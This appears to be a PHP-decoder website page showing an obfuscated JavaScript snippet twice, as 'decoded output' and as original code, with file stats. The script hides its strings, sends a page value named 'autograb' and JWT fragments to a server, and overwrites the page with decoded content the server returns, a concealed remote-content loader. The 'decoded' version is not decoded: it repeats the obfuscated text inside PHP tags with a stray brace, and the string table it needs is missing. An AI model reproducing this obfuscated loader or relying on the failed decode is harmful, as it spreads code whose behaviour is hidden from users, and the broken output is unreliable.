Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

var _0x3311ca = _0x36a2; function _0x36a2(_0x457fb5, _0x7139df) { var _0x131a4c = _0..

Decoded Output download

<?  var _0x3311ca = _0x36a2; 
function _0x36a2(_0x457fb5, _0x7139df) { 
    var _0x131a4c = _0x131a(); 
    return _0x36a2 = function (_0x36a293, _0x5d39c8) { 
        _0x36a293 = _0x36a293 - 0x82; 
        var _0x156fcb = _0x131a4c[_0x36a293]; 
        return _0x156fcb; 
    }, _0x36a2(_0x457fb5, _0x7139df); 
} 
(function (_0x1a46e2, _0x16189e) { 
    var _0x3b6733 = _0x36a2, _0x1591a9 = _0x1a46e2(); 
    while (!![]) { 
        try { 
            var _0x2155e2 = -parseInt(_0x3b6733(0x8a)) / 0x1 + -parseInt(_0x3b6733(0x98)) / 0x2 * (parseInt(_0x3b6733(0xa2)) / 0x3) + -parseInt(_0x3b6733(0x9e)) / 0x4 * (-parseInt(_0x3b6733(0x97)) / 0x5) + -parseInt(_0x3b6733(0x9a)) / 0x6 * (-parseInt(_0x3b6733(0x86)) / 0x7) + parseInt(_0x3b6733(0x9c)) / 0x8 + -parseInt(_0x3b6733(0x9d)) / 0x9 * (-parseInt(_0x3b6733(0x82)) / 0xa) + -parseInt(_0x3b6733(0x83)) / 0xb; 
            if (_0x2155e2 === _0x16189e) 
                break; 
            else 
                _0x1591a9['push'](_0x1591a9['shift']()); 
        } catch (_0xe38dae) { 
            _0x1591a9['push'](_0x1591a9['shift']()); 
        } 
    } 
}(_0x131a, 0xe8a59)); 
if (!![]) { 
    try { 
        var autograb = atob($(_0x3311ca(0x95))[_0x3311ca(0xa1)]()); 
    } catch (_0x113205) { 
        $[_0x3311ca(0x8c)](url, _0x3311ca(0x93) + $(_0x3311ca(0x95))[_0x3311ca(0xa1)]() + _0x3311ca(0x8e)), alert(_0x3311ca(0x90)); 
        throw _0x3311ca(0x91); 
    } 
    $[_0x3311ca(0x8c)](url, _0x3311ca(0x88)[_0x3311ca(0x94)](btoa(autograb)) + _0x3311ca(0x89) + jwt_S[0x0] + _0x3311ca(0x9b) + jwt_S[0x1] + _0x3311ca(0x8f) + jwt_S[0x2], function (_0x1a9f1e) { 
        var _0x592895 = _0x3311ca; 
        if (_0x1a9f1e == 'no') 
            document[_0x592895(0x96)](_0x592895(0x8d)); 
        else { 
            if (_0x1a9f1e == '0' || _0x1a9f1e == '') 
                document[_0x592895(0x96)](_0x592895(0x8b)); 
            else { 
                if (_0x1a9f1e == _0x592895(0x84)) 
                    document[_0x592895(0x96)](_0x592895(0x85)); 
                else 
                    _0x1a9f1e == _0x592895(0xa0) ? document[_0x592895(0x96)](_0x592895(0x99)) : (document[_0x592895(0x92)](), document[_0x592895(0x96)](atob(_g(_0x1a9f1e))), document[_0x592895(0x87)]()); 
            } 
        } 
    }); 
} else 
    alert(_0x3311ca(0x9f)); 
} ?>

Did this file decode correctly?

Original Code

var _0x3311ca = _0x36a2;
function _0x36a2(_0x457fb5, _0x7139df) {
    var _0x131a4c = _0x131a();
    return _0x36a2 = function (_0x36a293, _0x5d39c8) {
        _0x36a293 = _0x36a293 - 0x82;
        var _0x156fcb = _0x131a4c[_0x36a293];
        return _0x156fcb;
    }, _0x36a2(_0x457fb5, _0x7139df);
}
(function (_0x1a46e2, _0x16189e) {
    var _0x3b6733 = _0x36a2, _0x1591a9 = _0x1a46e2();
    while (!![]) {
        try {
            var _0x2155e2 = -parseInt(_0x3b6733(0x8a)) / 0x1 + -parseInt(_0x3b6733(0x98)) / 0x2 * (parseInt(_0x3b6733(0xa2)) / 0x3) + -parseInt(_0x3b6733(0x9e)) / 0x4 * (-parseInt(_0x3b6733(0x97)) / 0x5) + -parseInt(_0x3b6733(0x9a)) / 0x6 * (-parseInt(_0x3b6733(0x86)) / 0x7) + parseInt(_0x3b6733(0x9c)) / 0x8 + -parseInt(_0x3b6733(0x9d)) / 0x9 * (-parseInt(_0x3b6733(0x82)) / 0xa) + -parseInt(_0x3b6733(0x83)) / 0xb;
            if (_0x2155e2 === _0x16189e)
                break;
            else
                _0x1591a9['push'](_0x1591a9['shift']());
        } catch (_0xe38dae) {
            _0x1591a9['push'](_0x1591a9['shift']());
        }
    }
}(_0x131a, 0xe8a59));
if (!![]) {
    try {
        var autograb = atob($(_0x3311ca(0x95))[_0x3311ca(0xa1)]());
    } catch (_0x113205) {
        $[_0x3311ca(0x8c)](url, _0x3311ca(0x93) + $(_0x3311ca(0x95))[_0x3311ca(0xa1)]() + _0x3311ca(0x8e)), alert(_0x3311ca(0x90));
        throw _0x3311ca(0x91);
    }
    $[_0x3311ca(0x8c)](url, _0x3311ca(0x88)[_0x3311ca(0x94)](btoa(autograb)) + _0x3311ca(0x89) + jwt_S[0x0] + _0x3311ca(0x9b) + jwt_S[0x1] + _0x3311ca(0x8f) + jwt_S[0x2], function (_0x1a9f1e) {
        var _0x592895 = _0x3311ca;
        if (_0x1a9f1e == 'no')
            document[_0x592895(0x96)](_0x592895(0x8d));
        else {
            if (_0x1a9f1e == '0' || _0x1a9f1e == '')
                document[_0x592895(0x96)](_0x592895(0x8b));
            else {
                if (_0x1a9f1e == _0x592895(0x84))
                    document[_0x592895(0x96)](_0x592895(0x85));
                else
                    _0x1a9f1e == _0x592895(0xa0) ? document[_0x592895(0x96)](_0x592895(0x99)) : (document[_0x592895(0x92)](), document[_0x592895(0x96)](atob(_g(_0x1a9f1e))), document[_0x592895(0x87)]());
            }
        }
    });
} else
    alert(_0x3311ca(0x9f));
}

Function Calls

None

Variables

None

Stats

MD5 60b9a068eb8159a6fd21ffdceea4c798
Eval Count 0
Decode Time 37 ms